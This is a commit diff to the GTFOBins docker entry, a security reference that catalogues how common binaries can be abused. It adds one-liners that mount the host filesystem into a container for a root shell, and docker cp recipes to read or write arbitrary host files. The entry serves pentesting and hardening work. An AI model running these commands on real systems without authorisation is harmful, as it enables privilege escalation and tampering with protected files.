Update docker shell and add file read and write

Close #64.

_gtfobins/docker.md

@@ -1,13 +1,32 @@
 ---
 description: |
-  Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, e.g. being in the `docker` group. Any other Docker Linux image should work, e.g., `debian`.
+  This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`.
+
+  Any other Docker Linux image should work, e.g., `debian`.
 functions:
+  shell:
+    - description: The resulting is a root shell.
+      code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
+  file-write:
+    - description: Write a file by copying it to a temporary container and back to the target destination on the host.
+      code: |
+        CONTAINER_ID="$(docker run -d alpine)" # or existing
+        TF=$(mktemp)
+        echo "DATA" > $TF
+        docker cp $TF $CONTAINER_ID:$TF
+        docker cp $CONTAINER_ID:$TF file_to_write
+  file-read:
+    - description: Read a file by copying it to a temporary container and back to a new location on the host.
+      code: |
+        CONTAINER_ID="$(docker run -d alpine)"  # or existing
+        TF=$(mktemp)
+        docker cp file_to_read $CONTAINER_ID:$TF
+        docker cp $CONTAINER_ID:$TF $TF
+        cat $TF
   sudo:
-    - code: |
-        sudo docker run --rm -v /home/$USER:/h_docs ubuntu \
-            sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p
+    - description: The resulting is a root shell.
+      code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
   suid:
-    - code: |
-        ./docker run --rm -v /home/$USER:/h_docs ubuntu \
-            sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p
+    - description: The resulting is a root shell.
+      code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
 ---